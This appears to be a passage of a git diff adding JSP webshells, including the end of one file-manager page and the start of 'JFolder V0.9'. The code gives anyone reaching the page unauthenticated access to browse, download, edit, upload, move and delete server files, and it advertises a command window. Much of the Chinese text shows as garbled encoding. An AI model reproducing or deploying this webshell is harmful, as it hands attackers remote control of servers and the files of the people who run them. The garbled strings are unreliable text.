response.setHeader ("Content-Disposition", "attachment;filename=\""+f.getName()+"\"");
response.setContentLength((int) f.length());
BufferedInputStream fileInputStream = new BufferedInputStream(new FileInputStream(f));
int i;
out.clearBuffer();
while ((i=fileInputStream.read()) != -1) out.write(i);
fileInputStream.close();
out.flush();
}
else {
out.println("<html><body><h1><3E>ļ<EFBFBD>"+f.getAbsolutePath()+
"<22><><EFBFBD><EFBFBD><EFBFBD>ڻ<EFBFBD><DABB><EFBFBD><EFBFBD>޶<EFBFBD>Ȩ<EFBFBD><C8A8></h1></body></html>");
}
}
else{
if (request.getAttribute("dir")==null){
request.setAttribute ("dir", application.getRealPath("."));
}
%>
<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=gb2312">
<style type="text/css">
.login { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 8pt; color: #666666; width:320px; }
.header { font-family:Verdana, Arial, Helvetica, sans-serif; font-size: 10pt; color: #666666; font-weight: bold; }
.tableHeader { background-color: #c0c0c0; color: #666666;}
.tableHeaderLight { background-color: #cccccc; color: #666666;}
.main { font-family:Verdana, Arial, Helvetica, sans-serif; font-size: 8pt; color: #666666;}
.copy { font-family:Verdana, Arial, Helvetica, sans-serif; font-size: 8pt; color: #999999;}
.copy:Hover { color: #666666; text-decoration : underline; }
.button {background-color: #c0c0c0; color: #666666;
border-left: 1px solid #999999; border-right: 1px solid #999999;
border-top: 1px solid #999999; border-bottom: 1px solid #999999}
.button:Hover { color: #444444 }
td { font-family:Verdana, Arial, Helvetica, sans-serif; font-size: 8pt; color: #666666;}
A { text-decoration: none; }
A:Hover { color : Red; text-decoration : underline; }
BODY { font-family:Verdana, Arial, Helvetica, sans-serif; font-size: 8pt; color: #666666;}
</style>
<script type="text/javascript">
<!--
var check = false;
function dis(){
check = true;
}
var DOM = 0, MS = 0, OP = 0;
function CheckBrowser() {
if (window.opera) OP = 1;
if(document.getElementById) {
DOM = 1;
}
if(document.all && !OP) {
MS = 1;
}
}
function selrow (element, i){
CheckBrowser();
var erst;
if ((OP==1)||(MS == 1)) erst = element.firstChild.firstChild;
else if (DOM == 1) erst = element.firstChild.nextSibling.firstChild;
//MouseIn
if (i == 0)
if (erst.checked == true) element.style.backgroundColor = '#dddddd';
else element.style.backgroundColor = '#eeeeee';
//MouseOut
else if (i == 1){
if (erst.checked == true) element.style.backgroundColor = '#dddddd';
else element.style.backgroundColor = '#ffffff';
}
//MouseClick
else if ((i == 2)&&(!check)){
if (erst.checked == true) element.style.backgroundColor = '#eeeeee';
else element.style.backgroundColor = '#dddddd';
erst.click();
}
else check = false;
}
//-->
</script>
<%
}
//<2F>ϴ<EFBFBD>
if ((request.getContentType()!=null)&&(request.getContentType().toLowerCase().startsWith("multipart"))){
response.setContentType("text/html");
HttpMultiPartParser parser = new HttpMultiPartParser();
boolean error = false;
try{
Hashtable ht = parser.processData(request.getInputStream(), "-", tempdir);
if (ht.get("myFile")!=null){
FileInfo fi = (FileInfo)ht.get("myFile");
File f = fi.file;
//<2F><><EFBFBD>ļ<EFBFBD><C4BC>ӻ<EFBFBD><D3BB><EFBFBD>Ŀ¼<C4BF><EFBFBD>Ƴ<EFBFBD><C6B3><EFBFBD>
String path = (String)ht.get("dir");
if (!path.endsWith(File.separator)) path = path+File.separator;
if (!f.renameTo(new File(path+f.getName()))){
request.setAttribute("message", "<22>޷<EFBFBD><DEB7>ϴ<EFBFBD><CFB4>ļ<EFBFBD>.");
error = true;
f.delete();
}
}
else{
request.setAttribute("message", "<22><>ѡ<EFBFBD><D1A1><EFBFBD>ϴ<EFBFBD><CFB4>ļ<EFBFBD>!");
error = true;
}
request.setAttribute("dir", (String)ht.get("dir"));
}
catch (Exception e){
request.setAttribute("message", "<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>´<EFBFBD><C2B4><EFBFBD>:"+e+". <20>ϴ<EFBFBD>ʧ<EFBFBD><CAA7>!");
error = true;
}
if (!error) request.setAttribute("message", "<22>ļ<EFBFBD><C4BC>ϴ<EFBFBD><CFB4>ɹ<EFBFBD>.");
}
else if (request.getParameter("editfile")!=null){
%>
<title>JSP<53>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>-<2D><EFBFBD>ļ<EFBFBD>:<%=request.getParameter("editfile")%></title>
</head>
<body>
<%
String encoding="gb2312";
request.setAttribute("dir", null);
File ef = new File(request.getParameter("editfile"));
BufferedReader reader = new BufferedReader(new FileReader(ef));
String disable = "";
if (!ef.canWrite()) disable = "<22>޷<EFBFBD><DEB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>";
out.print("<form action=\""+browser_name+"\" method=\"Post\">\n"+
"<textarea name=\"text\" wrap=\"off\" cols=\""+
EDITFIELD_COLS+"\" rows=\""+EDITFIELD_ROWS+"\""+">"+disable);
String c;
while ((c =reader.readLine())!=null){
c=substr(c,"&", "&amp;");
c=substr(c,"<", "&lt;");
c=substr(c,">", "&gt;");
c=substr(c,"\"", "&quot;");
out.print(c+"\n");
}
reader.close();
%></textarea>
<input type="hidden" name="nfile" value="<%= request.getParameter("editfile")%>">
<table><tr>
<td title="Enter the new filename"><input type="text" name="new_name" value="<%=ef.getName()%>"></td>
<td><input type="Submit" name="Submit" value="<22><><EFBFBD><EFBFBD>"></td>
<td><input type="Submit" name="Submit" value="ȡ<><C8A1>"></td></tr>
<tr><td><input type="checkbox" name="Backup" checked><3E><>д</td></tr>
</table>
</form>
</body>
</html>
<%
}
//<2F><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>
else if (request.getParameter("nfile")!=null){
File f = new File(request.getParameter("nfile"));
File new_f = new File(getDir(f.getParent(), request.getParameter("new_name")));
if (request.getParameter("Submit").equals("Save")){
if (new_f.exists()&&request.getParameter("Backup")!=null){
File bak = new File(new_f.getAbsolutePath()+".bak");
bak.delete();
new_f.renameTo(bak);
}
BufferedWriter outs = new BufferedWriter(new FileWriter(new_f));
outs.write(request.getParameter("text"));
outs.flush();
outs.close();
}
request.setAttribute("dir", f.getParent());
}
//ɾ<><C9BE><EFBFBD>ļ<EFBFBD>
else if ((request.getParameter("Submit")!=null)&&(request.getParameter("Submit").equals("Delete Files"))){
Vector v = expandFileList(request.getParameterValues("selfile"), true);
boolean error = false;
for (int i=v.size()-1;i>=0;i--){
File f = (File)v.get(i);
if (!f.canWrite()||!f.delete()){
request.setAttribute("message", "<22>޷<EFBFBD>ɾ<EFBFBD><C9BE><EFBFBD>ļ<EFBFBD>"+f.getAbsolutePath()+". ɾ<><C9BE>ʧ<EFBFBD><CAA7>");
error = true;
break;
}
}
if ((!error)&&(v.size()>1)) request.setAttribute("message", "All files deleted");
else if ((!error)&&(v.size()>0)) request.setAttribute("message", "File deleted");
else if (!error) request.setAttribute("message", "No files selected");
}
//<2F><><EFBFBD><EFBFBD>Ŀ¼
else if ((request.getParameter("Submit")!=null)&&(request.getParameter("Submit").equals("Create Dir"))){
String dir = ""+request.getAttribute("dir");
String dir_name = request.getParameter("cr_dir");
String new_dir = getDir (dir, dir_name);
if (new File(new_dir).mkdirs()){
request.setAttribute("message", "Ŀ¼<C4BF><C2BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>");
}
else request.setAttribute("message", "<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ŀ¼"+new_dir+"ʧ<><CAA7>");
}
//<2F><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>
else if ((request.getParameter("Submit")!=null)&&(request.getParameter("Submit").equals("Create File"))){
String dir = ""+request.getAttribute("dir");
String file_name = request.getParameter("cr_dir");
String new_file = getDir (dir, file_name);
//Test, if file_name is empty
if ((file_name.trim()!="")&&!file_name.endsWith(File.separator)){
if (new File(new_file).createNewFile()) request.setAttribute("message", "<22>ļ<EFBFBD><C4BC>ɹ<EFBFBD><C9B9><EFBFBD><EFBFBD><EFBFBD>");
else request.setAttribute("message", "<22><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>"+new_file+"ʧ<><CAA7>");
}
else request.setAttribute("message", "<22><><EFBFBD><EFBFBD>: "+file_name+"<22>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>");
}
//ת<><D7AA><EFBFBD>ļ<EFBFBD>
else if ((request.getParameter("Submit")!=null)&&(request.getParameter("Submit").equals("Move Files"))){
Vector v = expandFileList(request.getParameterValues("selfile"), true);
String dir = ""+request.getAttribute("dir");
String dir_name = request.getParameter("cr_dir");
String new_dir = getDir(dir, dir_name);
boolean error = false;
if (!new_dir.endsWith(File.separator)) new_dir+=File.separator;
for (int i=v.size()-1;i>=0;i--){
File f = (File)v.get(i);
if (!f.canWrite()||!f.renameTo(new File(new_dir+f.getAbsolutePath().substring(dir.length())))){
request.setAttribute("message", "<22><><EFBFBD><EFBFBD>ת<EFBFBD><D7AA>"+f.getAbsolutePath()+".ת<><D7AA>ʧ<EFBFBD><CAA7>");
error = true;
break;
}
}
if ((!error)&&(v.size()>1)) request.setAttribute("message", "ȫ<><C8AB><EFBFBD>ļ<EFBFBD>ת<EFBFBD>Ƴɹ<C6B3>");
else if ((!error)&&(v.size()>0)) request.setAttribute("message", "<22>ļ<EFBFBD>ת<EFBFBD>Ƴɹ<C6B3>");
else if (!error) request.setAttribute("message", "<22><>ѡ<EFBFBD><D1A1><EFBFBD>ļ<EFBFBD>");
}
//<2F><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>
else if ((request.getParameter("Submit")!=null)&&(request.getParameter("Submit").equals("Copy Files"))){
Vector v = expandFileList(request.getParameterValues("selfile"), true);
String dir = (String)request.getAttribute("dir");
if (!dir.endsWith(File.separator)) dir+=File.separator;
String dir_name = request.getParameter("cr_dir");
String new_dir = getDir(dir, dir_name);
boolean error = false;
if (!new_dir.endsWith(File.separator)) new_dir+=File.separator;
byte buffer[] = new byte[0xffff];
try{
for (int i=0;i<v.size();i++){
File f_old = (File)v.get(i);
File f_new = new File(new_dir+f_old.getAbsolutePath().substring(dir.length()));
if (f_old.isDirectory()) f_new.mkdirs();
else if (!f_new.exists()){
InputStream fis = new FileInputStream (f_old);
OutputStream fos = new FileOutputStream (f_new);
int b;
while((b=fis.read(buffer))!=-1) fos.write(buffer, 0, b);
fis.close();
fos.close();
}
else{
//<2F>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
request.setAttribute("message", "<22>޷<EFBFBD><DEB7><EFBFBD><EFBFBD><EFBFBD>"+f_old.getAbsolutePath()+",<2C>ļ<EFBFBD><C4BC>Ѿ<EFBFBD><D1BE><EFBFBD><EFBFBD><EFBFBD>,<2C><><EFBFBD><EFBFBD>ʧ<EFBFBD><CAA7>");
error = true;
break;
}
}
}
catch (IOException e){
request.setAttribute("message", "<22><><EFBFBD><EFBFBD>"+e+".<2E><><EFBFBD><EFBFBD>ȡ<EFBFBD><C8A1>");
error = true;
}
if ((!error)&&(v.size()>1)) request.setAttribute("message", "ȫ<><C8AB><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD>Ƴɹ<C6B3>");
else if ((!error)&&(v.size()>0)) request.setAttribute("message", "<22>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD>Ƴɹ<C6B3>");
else if (!error) request.setAttribute("message", "<22><>ѡ<EFBFBD><D1A1><EFBFBD>ļ<EFBFBD>");
}
//Ŀ¼<C4BF><C2BC><EFBFBD><EFBFBD>
if ((request.getAttribute("dir")!=null)){
%>
<title>JSP<53>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>-Ŀ¼<C4BF><C2BC><EFBFBD><EFBFBD>:<%=request.getAttribute("dir")%></title>
</head>
<body>
<table>
<tr><td>
<% if (request.getAttribute("message")!=null){
out.println("<table border=\"0\" width=\"100%\"><tr><td bgcolor=\"#FFFF00\" align=\"center\">");
out.println(request.getAttribute("message"));
out.println("</td></tr></table>");
}
%>
<form action="<%= browser_name %>" method="Post">
<table border="1" cellpadding="1" cellspacing="0" width="100%">
<%
String dir = URLEncoder.encode(""+request.getAttribute("dir"));
String cmd = browser_name+"?dir="+dir;
out.println("<th bgcolor=\"#c0c0c0\"></th><th title=\"<22><><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>\" bgcolor=\"#c0c0c0\"><a href=\""+cmd+"&sort=1\"><3E>ļ<EFBFBD><C4BC><EFBFBD></a></th>"+
"<th title=\"<22><><EFBFBD><EFBFBD>С<EFBFBD><D0A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>\" bgcolor=\"#c0c0c0\"><a href=\""+cmd+"&sort=2\"><3E><>С</th>"+
"<th title=\"<22><><EFBFBD><EFBFBD><EFBFBD>ڳ<EFBFBD><DAB3><EFBFBD><EFBFBD><EFBFBD>\" bgcolor=\"#c0c0c0\"><a href=\""+cmd+"&sort=3\"><3E><><EFBFBD><EFBFBD></th>"+
"<th bgcolor=\"#c0c0c0\">&nbsp;</th><th bgcolor=\"#c0c0c0\">&nbsp;</th>");
char trenner=File.separatorChar;
File f=new File(""+request.getAttribute("dir"));
//<2F><><EFBFBD><EFBFBD><EFBFBD>߷<EFBFBD><DFB7><EFBFBD>
File[] entry=File.listRoots();
for (int i=0;i<entry.length;i++){
out.println("<tr bgcolor='#ffffff'\">");
out.println("<td><3E><><EFBFBD>л<EFBFBD><D0BB><EFBFBD><EFBFBD><EFBFBD>Ӧ<EFBFBD>̷<EFBFBD><CCB7><EFBFBD><span style=\"background-color: rgb(255,255,255);color:rgb(255,0,0)\">");
String name = URLEncoder.encode(entry[i].getAbsolutePath());
String buf = entry[i].getAbsolutePath();
out.println("<22><><a href=\""+browser_name+"?dir="+name+"\">["+buf+"]</a>");
out.println("</td></tr>");
}
out.println("<br>");
//..
if (f.getParent()!=null){
out.println("<tr bgcolor='#ffffff' onmouseover=\"this.style.backgroundColor = '#eeeeee'\" onmouseout=\"this.style.backgroundColor = '#ffffff'\">");
out.println("<td></td><td>");
out.println("<a href=\""+browser_name+"?dir="+URLEncoder.encode(f.getParent())+"\">[..]</a>");
out.println("</td></tr>");
}
//<2F>ļ<EFBFBD><C4BC><EFBFBD>Ŀ¼
entry=f.listFiles();
if (entry!=null&&entry.length>0){
int mode=1;
if (request.getParameter("sort")!=null) mode = Integer.parseInt(request.getParameter("sort"));
Arrays.sort(entry, new FileComp(mode));
String ahref = "<a onmousedown=\"javascript:dis();\" href=\"";
for (int i=0;i<entry.length;i++){
String name = URLEncoder.encode(entry[i].getAbsolutePath());
String link;
String dlink = "&nbsp;";
String elink = "&nbsp;";
String buf = entry[i].getName();
if (entry[i].isDirectory()){
if (entry[i].canRead())
link = ahref+browser_name+"?dir="+name+"\">["+buf+"]</a>";
else
link = "["+buf+"]";
}
else{
if (entry[i].canRead()){
if (entry[i].canWrite()){
link=ahref+browser_name+"?file="+name+"\">"+buf+"</a>";
dlink=ahref+browser_name+"?downfile="+name+"\"><3E><><EFBFBD><EFBFBD></a>";
elink=ahref+browser_name+"?editfile="+name+"\"><3E>༭</a>";
}
else{
link=ahref+browser_name+"?file="+name+"\"><i>"+buf+"</i></a>";
dlink=ahref+browser_name+"?downfile="+name+"\"><3E><><EFBFBD><EFBFBD></a>";
elink=ahref+browser_name+"?editfile="+name+"\"><3E>鿴</a>";
}
}
else{
link = buf;
}
}
String date = DateFormat.getDateTimeInstance().format(new Date(entry[i].lastModified()));
out.println("<tr bgcolor='#ffffff' onmouseup = \"javascript:selrow(this, 2);\" "+
"onmouseover=\"javascript:selrow(this, 0);\" onmouseout=\"javascript:selrow(this, 1);\">");
out.println("<td><input type=\"checkbox\" name=\"selfile\" value=\""+name+"\" onmousedown=\"javascript:dis();\"></td>");
out.println("<td>"+link+"</td><td align=\"right\">"+entry[i].length()+
" bytes</td><td align=\"right\">"+
date+"</td><td>"
+dlink+"</td><td>"+elink+"</td></tr>");
}
}
%>
</table>
<table>
<input type="hidden" name="dir" value="<%=request.getAttribute("dir")%>">
<tr>
<td title="<22><><EFBFBD><EFBFBD>ѡ<EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>"><input class="button" type="Submit" name="Submit" value="Save as zip"></td>
<td colspan="2" title="ɾ<><C9BE><EFBFBD><EFBFBD>ѡ<EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>"><input class="button" type="Submit" name="Submit" value="Delete Files"></td></tr>
<tr>
<td><input type="text" name="cr_dir"></td>
<td><input class="button" type="Submit" name="Submit" value="Create Dir"></td>
<td><input class="button" type="Submit" name="Submit" value="Create File"></td>
<td><input class="button" type="Submit" name="Submit" value="Move Files"></td>
<td><input class="button" type="Submit" name="Submit" value="Copy Files"></td></tr>
</table>
</form>
<form action="<%= browser_name %>" enctype="multipart/form-data" method="POST">
<table cellpadding="0">
<tr>
<td><input type="hidden" name="dir" value="<%=request.getAttribute("dir")%>">
<input type="file" name="myFile"></td>
<td><input type="Submit" class="button" name="Submit" value="Upload"></td>
</tr>
</table>
</form>
<hr>
<center><small>JSP <20>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> v1.001 By Bagheera<a href="http://jmmm.com">http://jmmm.com</a>
</small></center>
</td></tr></table>
</body>
</html>
<%
}
%>

2317
jsp/ma3.jsp Normal file

File diff suppressed because it is too large Load Diff

1780
jsp/ma4.jsp Normal file

File diff suppressed because it is too large Load Diff

995
jsp/no.jsp Normal file
View File

@@ -0,0 +1,995 @@
<%
/**
JFolder V0.9 windows platform
@Filename<6D><65> JFolder.jsp
@Description<6F><6E> һ<><D2BB><EFBFBD>򵥵<EFBFBD>ϵͳ<CFB5>ļ<EFBFBD>Ŀ¼<C4BF><C2BC>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Դ<EFBFBD><D4B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><E1B9A9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ˡ<EFBFBD>
@Author<6F><72> Steven Cee
@Email <20><> cqq1978@Gmail.com
@Bugs : <20><><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD>޷<EFBFBD><DEB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʾ
*/
%>
<%@ page contentType="text/html;charset=gb2312"%>
<%@page import="java.io.*,java.util.*,java.net.*" %>
<%!
private final static int languageNo=0; //<2F><><EFBFBD>԰汾<D4B0><E6B1BE>0 : <20><><EFBFBD>ģ<EFBFBD> 1<><31>Ӣ<EFBFBD><D3A2>
String strThisFile="JFolder.jsp";
String[] authorInfo={" <font color=red> д<>IJ<EFBFBD><C4B2>ã<EFBFBD><C3A3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ð<EFBFBD> - - by <20><><EFBFBD><EFBFBD>ǿ http://www.topronet.com </font>"," <font color=red> Thanks for your support - - by Steven Cee http://www.topronet.com </font>"};
String[] strFileManage = {"<22><> <20><> <20><> <20><>","File Management"};
String[] strCommand = {"CMD <20><> <20><>","Command Window"};
String[] strSysProperty = {"ϵ ͳ <20><> <20><>","System Property"};
String[] strHelp = {"<22><> <20><>","Help"};
String[] strParentFolder = {"<22>ϼ<EFBFBD>Ŀ¼","Parent Folder"};
String[] strCurrentFolder= {"<22><>ǰĿ¼","Current Folder"};
String[] strDrivers = {"<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>","Drivers"};
String[] strFileName = {"<22>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>","File Name"};
String[] strFileSize = {"<22>ļ<EFBFBD><C4BC><EFBFBD>С","File Size"};
String[] strLastModified = {"<22><><EFBFBD><EFBFBD><EFBFBD>޸<EFBFBD>","Last Modified"};
String[] strFileOperation= {"<22>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>","Operations"};
String[] strFileEdit = {"<22>޸<EFBFBD>","Edit"};
String[] strFileDown = {"<22><><EFBFBD><EFBFBD>","Download"};
String[] strFileCopy = {"<22><><EFBFBD><EFBFBD>","Move"};
String[] strFileDel = {"ɾ<><C9BE>","Delete"};
String[] strExecute = {"ִ<><D6B4>","Execute"};
String[] strBack = {"<22><><EFBFBD><EFBFBD>","Back"};
String[] strFileSave = {"<22><><EFBFBD><EFBFBD>","Save"};
public class FileHandler
{
private String strAction="";
private String strFile="";
void FileHandler(String action,String f)
{
}
}
public static class UploadMonitor {
static Hashtable uploadTable = new Hashtable();
static void set(String fName, UplInfo info) {
uploadTable.put(fName, info);
}
static void remove(String fName) {
uploadTable.remove(fName);
}
static UplInfo getInfo(String fName) {
UplInfo info = (UplInfo) uploadTable.get(fName);
return info;
}
}
public class UplInfo {
public long totalSize;
public long currSize;
public long starttime;
public boolean aborted;
public UplInfo() {
totalSize = 0l;
currSize = 0l;
starttime = System.currentTimeMillis();
aborted = false;
}
public UplInfo(int size) {
totalSize = size;
currSize = 0;
starttime = System.currentTimeMillis();
aborted = false;
}
public String getUprate() {
long time = System.currentTimeMillis() - starttime;
if (time != 0) {
long uprate = currSize * 1000 / time;
return convertFileSize(uprate) + "/s";
}
else return "n/a";
}
public int getPercent() {
if (totalSize == 0) return 0;
else return (int) (currSize * 100 / totalSize);
}
public String getTimeElapsed() {
long time = (System.currentTimeMillis() - starttime) / 1000l;
if (time - 60l >= 0){
if (time % 60 >=10) return time / 60 + ":" + (time % 60) + "m";
else return time / 60 + ":0" + (time % 60) + "m";
}
else return time<10 ? "0" + time + "s": time + "s";
}
public String getTimeEstimated() {
if (currSize == 0) return "n/a";
long time = System.currentTimeMillis() - starttime;
time = totalSize * time / currSize;
time /= 1000l;
if (time - 60l >= 0){
if (time % 60 >=10) return time / 60 + ":" + (time % 60) + "m";
else return time / 60 + ":0" + (time % 60) + "m";
}
else return time<10 ? "0" + time + "s": time + "s";
}
}
public class FileInfo {
public String name = null, clientFileName = null, fileContentType = null;
private byte[] fileContents = null;
public File file = null;
public StringBuffer sb = new StringBuffer(100);
public void setFileContents(byte[] aByteArray) {
fileContents = new byte[aByteArray.length];
System.arraycopy(aByteArray, 0, fileContents, 0, aByteArray.length);
}
}
// A Class with methods used to process a ServletInputStream
public class HttpMultiPartParser {
private final String lineSeparator = System.getProperty("line.separator", "\n");
private final int ONE_MB = 1024 * 1;
public Hashtable processData(ServletInputStream is, String boundary, String saveInDir,
int clength) throws IllegalArgumentException, IOException {
if (is == null) throw new IllegalArgumentException("InputStream");
if (boundary == null || boundary.trim().length() < 1) throw new IllegalArgumentException(
"\"" + boundary + "\" is an illegal boundary indicator");
boundary = "--" + boundary;
StringTokenizer stLine = null, stFields = null;
FileInfo fileInfo = null;
Hashtable dataTable = new Hashtable(5);
String line = null, field = null, paramName = null;
boolean saveFiles = (saveInDir != null && saveInDir.trim().length() > 0);
boolean isFile = false;
if (saveFiles) { // Create the required directory (including parent dirs)
File f = new File(saveInDir);
f.mkdirs();
}
line = getLine(is);
if (line == null || !line.startsWith(boundary)) throw new IOException(
"Boundary not found; boundary = " + boundary + ", line = " + line);
while (line != null) {
if (line == null || !line.startsWith(boundary)) return dataTable;
line = getLine(is);
if (line == null) return dataTable;
stLine = new StringTokenizer(line, ";\r\n");
if (stLine.countTokens() < 2) throw new IllegalArgumentException(
"Bad data in second line");
line = stLine.nextToken().toLowerCase();
if (line.indexOf("form-data") < 0) throw new IllegalArgumentException(
"Bad data in second line");
stFields = new StringTokenizer(stLine.nextToken(), "=\"");
if (stFields.countTokens() < 2) throw new IllegalArgumentException(
"Bad data in second line");
fileInfo = new FileInfo();
stFields.nextToken();
paramName = stFields.nextToken();
isFile = false;
if (stLine.hasMoreTokens()) {
field = stLine.nextToken();
stFields = new StringTokenizer(field, "=\"");
if (stFields.countTokens() > 1) {
if (stFields.nextToken().trim().equalsIgnoreCase("filename")) {
fileInfo.name = paramName;
String value = stFields.nextToken();
if (value != null && value.trim().length() > 0) {
fileInfo.clientFileName = value;
isFile = true;
}
else {
line = getLine(is); // Skip "Content-Type:" line
line = getLine(is); // Skip blank line
line = getLine(is); // Skip blank line
line = getLine(is); // Position to boundary line
continue;
}
}
}
else if (field.toLowerCase().indexOf("filename") >= 0) {
line = getLine(is); // Skip "Content-Type:" line
line = getLine(is); // Skip blank line
line = getLine(is); // Skip blank line
line = getLine(is); // Position to boundary line
continue;
}
}
boolean skipBlankLine = true;
if (isFile) {
line = getLine(is);
if (line == null) return dataTable;
if (line.trim().length() < 1) skipBlankLine = false;
else {
stLine = new StringTokenizer(line, ": ");
if (stLine.countTokens() < 2) throw new IllegalArgumentException(
"Bad data in third line");
stLine.nextToken(); // Content-Type
fileInfo.fileContentType = stLine.nextToken();
}
}
if (skipBlankLine) {
line = getLine(is);
if (line == null) return dataTable;
}
if (!isFile) {
line = getLine(is);
if (line == null) return dataTable;
dataTable.put(paramName, line);
// If parameter is dir, change saveInDir to dir
if (paramName.equals("dir")) saveInDir = line;
line = getLine(is);
continue;
}
try {
UplInfo uplInfo = new UplInfo(clength);
UploadMonitor.set(fileInfo.clientFileName, uplInfo);
OutputStream os = null;
String path = null;
if (saveFiles) os = new FileOutputStream(path = getFileName(saveInDir,
fileInfo.clientFileName));
else os = new ByteArrayOutputStream(ONE_MB);
boolean readingContent = true;
byte previousLine[] = new byte[2 * ONE_MB];
byte temp[] = null;
byte currentLine[] = new byte[2 * ONE_MB];
int read, read3;
if ((read = is.readLine(previousLine, 0, previousLine.length)) == -1) {
line = null;
break;
}
while (readingContent) {
if ((read3 = is.readLine(currentLine, 0, currentLine.length)) == -1) {
line = null;
uplInfo.aborted = true;
break;
}
if (compareBoundary(boundary, currentLine)) {
os.write(previousLine, 0, read - 2);
line = new String(currentLine, 0, read3);
break;
}
else {
os.write(previousLine, 0, read);
uplInfo.currSize += read;
temp = currentLine;
currentLine = previousLine;
previousLine = temp;
read = read3;
}//end else
}//end while
os.flush();
os.close();
if (!saveFiles) {
ByteArrayOutputStream baos = (ByteArrayOutputStream) os;
fileInfo.setFileContents(baos.toByteArray());
}
else fileInfo.file = new File(path);
dataTable.put(paramName, fileInfo);
uplInfo.currSize = uplInfo.totalSize;
}//end try
catch (IOException e) {
throw e;
}
}
return dataTable;
}
/**
* Compares boundary string to byte array
*/
private boolean compareBoundary(String boundary, byte ba[]) {
byte b;
if (boundary == null || ba == null) return false;
for (int i = 0; i < boundary.length(); i++)
if ((byte) boundary.charAt(i) != ba[i]) return false;
return true;
}
/** Convenience method to read HTTP header lines */
private synchronized String getLine(ServletInputStream sis) throws IOException {
byte b[] = new byte[1024];
int read = sis.readLine(b, 0, b.length), index;
String line = null;
if (read != -1) {
line = new String(b, 0, read);
if ((index = line.indexOf('\n')) >= 0) line = line.substring(0, index - 1);
}
return line;
}
public String getFileName(String dir, String fileName) throws IllegalArgumentException {
String path = null;
if (dir == null || fileName == null) throw new IllegalArgumentException(
"dir or fileName is null");
int index = fileName.lastIndexOf('/');
String name = null;
if (index >= 0) name = fileName.substring(index + 1);
else name = fileName;
index = name.lastIndexOf('\\');
if (index >= 0) fileName = name.substring(index + 1);
path = dir + File.separator + fileName;
if (File.separatorChar == '/') return path.replace('\\', File.separatorChar);
else return path.replace('/', File.separatorChar);
}
} //End of class HttpMultiPartParser
String formatPath(String p)
{
StringBuffer sb=new StringBuffer();
for (int i = 0; i < p.length(); i++)
{
if(p.charAt(i)=='\\')
{
sb.append("\\\\");
}
else
{
sb.append(p.charAt(i));
}
}
return sb.toString();
}
/**
* Converts some important chars (int) to the corresponding html string
*/
static String conv2Html(int i) {
if (i == '&') return "&amp;";
else if (i == '<') return "&lt;";
else if (i == '>') return "&gt;";
else if (i == '"') return "&quot;";
else return "" + (char) i;
}
/**
* Converts a normal string to a html conform string
*/
static String htmlEncode(String st) {
StringBuffer buf = new StringBuffer();
for (int i = 0; i < st.length(); i++) {
buf.append(conv2Html(st.charAt(i)));
}
return buf.toString();
}
String getDrivers()
/**
Windowsϵͳ<EFBFBD><EFBFBD>ȡ<EFBFBD>ÿ<EFBFBD><EFBFBD>õ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>߼<EFBFBD><EFBFBD><EFBFBD>
*/
{
StringBuffer sb=new StringBuffer(strDrivers[languageNo] + " : ");
File roots[]=File.listRoots();
for(int i=0;i<roots.length;i++)
{
sb.append(" <a href=\"javascript:doForm('','"+roots[i]+"\\','','','1','');\">");
sb.append(roots[i]+"</a>&nbsp;");
}
return sb.toString();
}
static String convertFileSize(long filesize)
{
//bug 5.09M <20><>ʾ5.9M
String strUnit="Bytes";
String strAfterComma="";
int intDivisor=1;
if(filesize>=1024*1024)
{
strUnit = "MB";
intDivisor=1024*1024;
}
else if(filesize>=1024)
{
strUnit = "KB";
intDivisor=1024;
}
if(intDivisor==1) return filesize + " " + strUnit;
strAfterComma = "" + 100 * (filesize % intDivisor) / intDivisor ;
